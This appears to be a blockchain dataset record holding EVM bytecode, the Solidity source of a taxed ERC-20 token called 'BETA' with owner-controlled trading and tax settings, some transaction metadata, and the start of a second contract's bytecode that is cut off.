5611b2d57506009600a611b1c91906128dc565b62030d40611b2a9190612927565b81115b8015611b3b5750601e600954115b8015611b6357506009600a611b5091906128dc565b62013c68611b5e9190612927565b600a54115b15611beb5760006009600a611b7891906128dc565b620f4240611b869190612927565b8211611b925781611baf565b6009600a611ba091906128dc565b620f4240611bae9190612927565b5b9050611bc8818511611bc15784611bc3565b815b61201c565b60004790506000811115611be057611bdf47612295565b5b6000600a8190555050505b505b6000811115611cf157611c4881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230190919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ce89190612592565b60405180910390a35b611d4382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dea611d9c8284611fd290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e8f8486611fd290919063ffffffff16565b604051611e9c9190612592565b60405180910390a350505050565b6000838311158290611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee99190612452565b60405180910390fd5b5060008385611f0191906130d9565b9050809150509392505050565b6000808303611f205760009050611f82565b60008284611f2e9190612927565b9050828482611f3d91906130a8565b14611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f749061317f565b60405180910390fd5b809150505b92915050565b6000611fca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061235f565b905092915050565b600061201483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eaa565b905092915050565b6001600d60016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120545761205361319f565b5b6040519080825280602002602001820160405280156120825781602001602082028036833780820191505090505b509050308160008151811061209a576120996131ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612141573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121659190612a56565b81600181518110612179576121786131ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121e030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611324565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122449594939291906132bb565b600060405180830381600087803b15801561225e57600080fd5b505af1158015612272573d6000803e3d6000fd5b50505050506000600d60016101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122fd573d6000803e3d6000fd5b5050565b60008082846123109190612f91565b905083811015612355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234c90613361565b60405180910390fd5b8091505092915050565b600080831182906123a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239d9190612452565b60405180910390fd5b50600083856123b591906130a8565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123fc5780820151818401526020810190506123e1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612424826123c2565b61242e81856123cd565b935061243e8185602086016123de565b61244781612408565b840191505092915050565b6000602082019050818103600083015261246c8184612419565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124a482612479565b9050919050565b6124b481612499565b81146124bf57600080fd5b50565b6000813590506124d1816124ab565b92915050565b6000819050919050565b6124ea816124d7565b81146124f557600080fd5b50565b600081359050612507816124e1565b92915050565b6000806040838503121561252457612523612474565b5b6000612532858286016124c2565b9250506020612543858286016124f8565b9150509250929050565b60008115159050919050565b6125628161254d565b82525050565b600060208201905061257d6000830184612559565b92915050565b61258c816124d7565b82525050565b60006020820190506125a76000830184612583565b92915050565b6000806000606084860312156125c6576125c5612474565b5b60006125d4868287016124c2565b93505060206125e5868287016124c2565b92505060406125f6868287016124f8565b9150509250925092565b600060ff82169050919050565b61261681612600565b82525050565b6000602082019050612631600083018461260d565b92915050565b60006020828403121561264d5761264c612474565b5b600061265b848285016124c2565b91505092915050565b6000806040838503121561267b5761267a612474565b5b6000612689858286016124f8565b925050602061269a858286016124f8565b9150509250929050565b6126ad81612499565b82525050565b60006020820190506126c860008301846126a4565b92915050565b600080604083850312156126e5576126e4612474565b5b60006126f3858286016124c2565b9250506020612704858286016124c2565b9150509250929050565b6127178161254d565b811461272257600080fd5b50565b6000813590506127348161270e565b92915050565b6000806040838503121561275157612750612474565b5b600061275f858286016124c2565b925050602061277085828601612725565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612800578086048111156127dc576127db61277a565b5b60018516156127eb5780820291505b80810290506127f9856127a9565b94506127c0565b94509492505050565b60008261281957600190506128d5565b8161282757600090506128d5565b816001811461283d576002811461284757612876565b60019150506128d5565b60ff8411156128595761285861277a565b5b8360020a9150848211156128705761286f61277a565b5b506128d5565b5060208310610133831016604e8410600b84101617156128ab5782820a9050838111156128a6576128a561277a565b5b6128d5565b6128b884848460016127b6565b925090508184048111156128cf576128ce61277a565b5b81810290505b9392505050565b60006128e7826124d7565b91506128f283612600565b925061291f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612809565b905092915050565b6000612932826124d7565b915061293d836124d7565b925082820261294b816124d7565b915082820484148315176129625761296161277a565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061299f6020836123cd565b91506129aa82612969565b602082019050919050565b600060208201905081810360008301526129ce81612992565b9050919050565b7f696e697420616c72656164792063616c6c656400000000000000000000000000600082015250565b6000612a0b6013836123cd565b9150612a16826129d5565b602082019050919050565b60006020820190508181036000830152612a3a816129fe565b9050919050565b600081519050612a50816124ab565b92915050565b600060208284031215612a6c57612a6b612474565b5b6000612a7a84828501612a41565b91505092915050565b6000604082019050612a9860008301856126a4565b612aa560208301846126a4565b9392505050565b6000819050919050565b6000819050919050565b6000612adb612ad6612ad184612aac565b612ab6565b6124d7565b9050919050565b612aeb81612ac0565b82525050565b600060c082019050612b0660008301896126a4565b612b136020830188612583565b612b206040830187612ae2565b612b2d6060830186612ae2565b612b3a60808301856126a4565b612b4760a0830184612583565b979650505050505050565b600081519050612b61816124e1565b92915050565b600080600060608486031215612b8057612b7f612474565b5b6000612b8e86828701612b52565b9350506020612b9f86828701612b52565b9250506040612bb086828701612b52565b9150509250925092565b6000604082019050612bcf60008301856126a4565b612bdc6020830184612583565b9392505050565b600081519050612bf28161270e565b92915050565b600060208284031215612c0e57612c0d612474565b5b6000612c1c84828501612be3565b91505092915050565b7f46696e616c205461783a20457863656564732076616c75650000000000000000600082015250565b6000612c5b6018836123cd565b9150612c6682612c25565b602082019050919050565b60006020820190508181036000830152612c8a81612c4e565b9050919050565b6000604082019050612ca66000830185612583565b612cb36020830184612583565b9392505050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000612cf06014836123cd565b9150612cfb82612cba565b602082019050919050565b60006020820190508181036000830152612d1f81612ce3565b9050919050565b6000604082019050612d3b6000830185612559565b612d486020830184612559565b9392505050565b7f45524332303a20617070726f766520746865207a65726f206164647265737300600082015250565b6000612d85601f836123cd565b9150612d9082612d4f565b602082019050919050565b60006020820190508181036000830152612db481612d78565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f2061646472657373600082015250565b6000612df16020836123cd565b9150612dfc82612dbb565b602082019050919050565b60006020820190508181036000830152612e2081612de4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e836029836123cd565b9150612e8e82612e27565b604082019050919050565b60006020820190508181036000830152612eb281612e76565b9050919050565b7f74726164696e67206e6f7420796574206f70656e000000000000000000000000600082015250565b6000612eef6014836123cd565b9150612efa82612eb9565b602082019050919050565b60006020820190508181036000830152612f1e81612ee2565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612f5b6019836123cd565b9150612f6682612f25565b602082019050919050565b60006020820190508181036000830152612f8a81612f4e565b9050919050565b6000612f9c826124d7565b9150612fa7836124d7565b9250828201905080821115612fbf57612fbe61277a565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612ffb601a836123cd565b915061300682612fc5565b602082019050919050565b6000602082019050818103600083015261302a81612fee565b9050919050565b600061303c826124d7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361306e5761306d61277a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130b3826124d7565b91506130be836124d7565b9250826130ce576130cd613079565b5b828204905092915050565b60006130e4826124d7565b91506130ef836124d7565b92508282039050818111156131075761310661277a565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131696021836123cd565b91506131748261310d565b604082019050919050565b600060208201905081810360008301526131988161315c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61323281612499565b82525050565b60006132448383613229565b60208301905092915050565b6000602082019050919050565b6000613268826131fd565b6132728185613208565b935061327d83613219565b8060005b838110156132ae5781516132958882613238565b97506132a083613250565b925050600181019050613281565b5085935050505092915050565b600060a0820190506132d06000830188612583565b6132dd6020830187612ae2565b81810360408301526132ef818661325d565b90506132fe60608301856126a4565b61330b6080830184612583565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061334b601b836123cd565b915061335682613315565b602082019050919050565b6000602082019050818103600083015261337a8161333e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028054e1669e6495026c44e94ff796701271c253823765792d114b2cb63200f5064736f6c63430008130033
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BETA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
address private constant deadAddress = address(0xdead);
address private uniswapV2Pair;
IUniswapV2Router02 private uniswapV2Router;
uint256 private constant _initialBuyTax=20;
uint256 private constant _initialSellTax=30;
uint256 private constant _reduceBuyTaxAt=30;
uint256 private constant _reduceSellTaxAt=30;
uint256 private constant _preventSwapBefore=30;
uint256 private _finalBuyTax=5;
uint256 private _finalSellTax=5;
uint256 private _buyCount=0;
uint256 private _countTax;
string private constant _name = unicode"BETA";
string private constant _symbol = unicode"BETA";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
uint256 private constant _countTrigger = 81000 * 10**_decimals;
uint256 public constant _taxSwapThreshold = 200000 * 10**_decimals;
uint256 public constant _maxTaxSwap = 1000000 * 10**_decimals;
uint256 public _maxTxAmount = 1000000 * 10**_decimals;
uint256 public _maxWalletSize = 1000000 * 10**_decimals;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event FinalTax (uint256 _valueBuy, uint256 _valueSell);
event TradingActive (bool _tradingOpen,bool _swapEnabled);
event maxAmount(uint256 _value);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
excludeFromFee(owner(), true);
excludeFromFee(deadAddress, true);
excludeFromFee(address(this), true);
excludeFromFee(_taxWallet, true);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function excludeFromFee(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if(!tradingOpen){
require(
_isExcludedFromFee[to] || _isExcludedFromFee[from],
"trading not yet open"
);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if ( to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)/100;
}
else if (from == uniswapV2Pair && to!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)/100;
}
_countTax += taxAmount;
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore &&
_countTax > _countTrigger
){
uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
swapTokensForEth((amount > getMinValue)?getMinValue:amount);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
_countTax = 0;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function initialize () external onlyOwner {
require(!tradingOpen,"init already called");
uint256 tokenAmount = balanceOf(address(this)).sub(_tTotal.mul(_initialBuyTax).div(100));
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(
uniswapV2Router.factory())
.createPair(address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance} (
address(this),
tokenAmount,
0,
0,
_msgSender(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading () external onlyOwner {
require(!tradingOpen,"trading already open");
swapEnabled = true;
tradingOpen = true;
emit TradingActive (tradingOpen,swapEnabled);
}
function removeLimits () external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit maxAmount (_tTotal);
}
function setFinalTax (uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
require(_valueBuy <= 25 && _valueSell <= 25 && tradingOpen, "Final Tax: Exceeds value");
_finalBuyTax = _valueBuy;
_finalSellTax = _valueSell;
emit FinalTax(_valueBuy, _valueSell);
}
receive() external payable {}
}
|
1 | 19,502,277 |
17fd5718fdc947e09265933df0813aad84f26d6c2aed06216277a3b5f63c3bf1
|
674ef2084f9fa729adf5c9d3740de47d8c0c66cc19f4b3003ae48d265252a1b9
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
4e59b44847b379578588920ca78fbf26c0b4956c
|
f342fef459daec88969e71897005bfe37484edfa
|
60a060405260405162000012906200009d565b604051809103906000f0801580156200002f573d6000803e3d6000fd5b506001600160a01b0390811660805260408051808201825260008082528251808401909352808352602080840191825282018390529051600380546001600160a01b031916919094161790925551600455516005553480156200009157600080fd5b506001600255620000ab565b610233806200519583390190565b6080516150d1620000c4600039600050506150d16000f3fe60806040526004361061016d5760003560e01c806370a08231116100cb578063bb9fe6bf1161007f578063c5f996e611610059578063c5f996e6146105b9578063dbed18e0146105d9578063fc7e286d146105f957600080fd5b8063bb9fe6bf14610557578063c23a5cea1461056c578063c3bce0091461058c57600080fd5b8063850aaf62116100b0578063850aaf62146105045780639b249f6914610524578063b760faf91461054457600080fd5b806370a08231146104a1578063765e827f146104e457600080fd5b8063205c28781161012257806335567e1a1161010757806335567e1a146102905780635287ce12146103255780635895273b1461047457600080fd5b8063205c28781461025057806322cdde4c1461027057600080fd5b80630396cb60116101535780630396cb60146101e55780630bd28e3b146101f85780631b2e01b81461021857600080fd5b806242dc531461018257806301ffc9a7146101b557600080fd5b3661017d5761017b336106cb565b005b600080fd5b34801561018e57600080fd5b506101a261019d36600461420a565b6106ec565b6040519081526020015b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046142ca565b6108b5565b60405190151581526020016101ac565b61017b6101f336600461430c565b610a32565b34801561020457600080fd5b5061017b61021336600461435a565b610dc8565b34801561022457600080fd5b506101a2610233366004614375565b600160209081526000928352604080842090915290825290205481565b34801561025c57600080fd5b5061017b61026b3660046143aa565b610e10565b34801561027c57600080fd5b506101a261028b3660046143ef565b610fba565b34801561029c57600080fd5b506101a26102ab366004614375565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff8516845290915290819020549082901b7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000161792915050565b34801561033157600080fd5b50610412610340366004614424565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091525073ffffffffffffffffffffffffffffffffffffffff1660009081526020818152604091829020825160a0810184528154815260019091015460ff811615159282019290925261010082046dffffffffffffffffffffffffffff16928101929092526f01000000000000000000000000000000810463ffffffff166060830152730100000000000000000000000000000000000000900465ffffffffffff16608082015290565b6040516101ac9190600060a082019050825182526020830151151560208301526dffffffffffffffffffffffffffff604084015116604083015263ffffffff606084015116606083015265ffffffffffff608084015116608083015292915050565b34801561048057600080fd5b5061049461048f3660046143ef565b610ffc565b6040516101ac91906144af565b3480156104ad57600080fd5b506101a26104bc366004614424565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b3480156104f057600080fd5b5061017b6104ff366004614543565b6110f1565b34801561051057600080fd5b5061017b61051f36600461459a565b61126e565b34801561053057600080fd5b5061017b61053f3660046145ef565b611313565b61017b610552366004614424565b6106cb565b34801561056357600080fd5b5061017b6113fe565b34801561057857600080fd5b5061017b610587366004614424565b6115de565b34801561059857600080fd5b506105ac6105a73660046143ef565b6118cb565b6040516101ac9190614631565b3480156105c557600080fd5b5061017b6105d4366004614711565b611bcf565b3480156105e557600080fd5b5061017b6105f4366004614543565b611cb5565b34801561060557600080fd5b50610681610614366004614424565b6000602081905290815260409020805460019091015460ff81169061010081046dffffffffffffffffffffffffffff16906f01000000000000000000000000000000810463ffffffff1690730100000000000000000000000000000000000000900465ffffffffffff1685565b6040805195865293151560208601526dffffffffffffffffffffffffffff9092169284019290925263ffffffff909116606083015265ffffffffffff16608082015260a0016101ac565b60015b60058110156106df576001016106ce565b6106e882612161565b5050565b6000805a9050333014610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393220696e7465726e616c2063616c6c206f6e6c7900000000000000000060448201526064015b60405180910390fd5b8451606081015160a082015181016127100160405a603f028161078557610785614773565b0410156107b6577fdeaddead0000000000000000000000000000000000000000000000000000000060005260206000fd5b8751600090156108575760006107d3846000015160008c866121b7565b9050806108555760006107e76108006121cf565b80519091501561084f57846000015173ffffffffffffffffffffffffffffffffffffffff168a602001517f1c4fada7374c0a9ee8841fc38afe82932dc0f8e69012e927f061a8bae611a2018760200151846040516108469291906147a2565b60405180910390a35b60019250505b505b600088608001515a86030190506108a7828a8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506121fb915050565b9a9950505050505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f60fc6b6e00000000000000000000000000000000000000000000000000000000148061094857507fffffffff0000000000000000000000000000000000000000000000000000000082167f915074d800000000000000000000000000000000000000000000000000000000145b8061099457507fffffffff0000000000000000000000000000000000000000000000000000000082167fcf28ef9700000000000000000000000000000000000000000000000000000000145b806109e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f3e84f02100000000000000000000000000000000000000000000000000000000145b80610a2c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b33600090815260208190526040902063ffffffff8216610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d757374207370656369667920756e7374616b652064656c61790000000000006044820152606401610757565b600181015463ffffffff6f0100000000000000000000000000000090910481169083161015610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f63616e6e6f7420646563726561736520756e7374616b652074696d65000000006044820152606401610757565b6001810154600090610b6190349061010090046dffffffffffffffffffffffffffff166147ea565b905060008111610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6e6f207374616b652073706563696669656400000000000000000000000000006044820152606401610757565b6dffffffffffffffffffffffffffff811115610c45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f7374616b65206f766572666c6f770000000000000000000000000000000000006044820152606401610757565b6040805160a08101825283548152600160208083018281526dffffffffffffffffffffffffffff86811685870190815263ffffffff8a811660608801818152600060808a0181815233808352828a52918c90209a518b55965199909801805494519151965165ffffffffffff16730100000000000000000000000000000000000000027fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffffff979094166f0100000000000000000000000000000002969096167fffffffffffffff00000000000000000000ffffffffffffffffffffffffffffff91909516610100027fffffffffffffffffffffffffffffffffff0000000000000000000000000000ff991515999099167fffffffffffffffffffffffffffffffffff00000000000000000000000000000090941693909317979097179190911691909117179055835185815290810192909252917fa5ae833d0bb1dcd632d98a8b70973e8516812898e19bf27b70071ebc8dc52c01910160405180910390a2505050565b33600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff851684529091528120805491610e08836147fd565b919050555050565b3360009081526020819052604090208054821115610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f576974686472617720616d6f756e7420746f6f206c61726765000000000000006044820152606401610757565b8054610e97908390614835565b81556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810184905233917fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114610f44576040519150601f19603f3d011682016040523d82523d6000602084013e610f49565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6661696c656420746f20776974686472617700000000000000000000000000006044820152606401610757565b50505050565b6000610fc582612423565b6040805160208101929092523090820152466060820152608001604051602081830303815290604052805190602001209050919050565b6110376040518060c0016040528060008152602001600081526020016000815260200160008152602001600015158152602001606081525090565b61103f61243c565b611047613dfc565b6110508361247d565b60008061105f600086856125f0565b9150915060006110716000878661284f565b90506040518060c00160405280856080015181526020018281526020018481526020018381526020016000151581526020016040518060400160405280600281526020017f30780000000000000000000000000000000000000000000000000000000000008152508152509450505050506110ec6001600255565b919050565b6110f961243c565b8160008167ffffffffffffffff81111561111557611115613fa8565b60405190808252806020026020018201604052801561114e57816020015b61113b613dfc565b8152602001906001900390816111335790505b50905060005b828110156111c757600082828151811061117057611170614848565b602002602001015190506000806111ab848a8a8781811061119357611193614848565b90506020028101906111a59190614877565b856125f0565b915091506111bc8483836000612c25565b505050600101611154565b506040516000907fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f972908290a160005b83811015611251576112458188888481811061121457611214614848565b90506020028101906112269190614877565b85848151811061123857611238614848565b602002602001015161284f565b909101906001016111f6565b5061125c8482612e7a565b5050506112696001600255565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1684846040516112989291906148b5565b600060405180830381855af49150503d80600081146112d3576040519150601f19603f3d011682016040523d82523d6000602084013e6112d8565b606091505b509150915081816040517f994105540000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b600061133460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3684846040518363ffffffff1660e01b815260040161136e929190614929565b6020604051808303816000875af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b1919061493d565b6040517f6ca7b80600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152909150602401610757565b336000908152602081905260408120600181015490916f0100000000000000000000000000000090910463ffffffff169003611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6e6f74207374616b6564000000000000000000000000000000000000000000006044820152606401610757565b600181015460ff16611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f616c726561647920756e7374616b696e670000000000000000000000000000006044820152606401610757565b600181015460009061152f906f01000000000000000000000000000000900463ffffffff164261495a565b6001830180547fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffff001673010000000000000000000000000000000000000065ffffffffffff84169081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169190911790915560405190815290915033907ffa9b3c14cc825c412c9ed81b3ba365a5b459439403f18829e572ed53a4180f0a906020015b60405180910390a25050565b336000908152602081905260409020600181015461010090046dffffffffffffffffffffffffffff168061166e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4e6f207374616b6520746f2077697468647261770000000000000000000000006044820152606401610757565b60018201547301000000000000000000000000000000000000009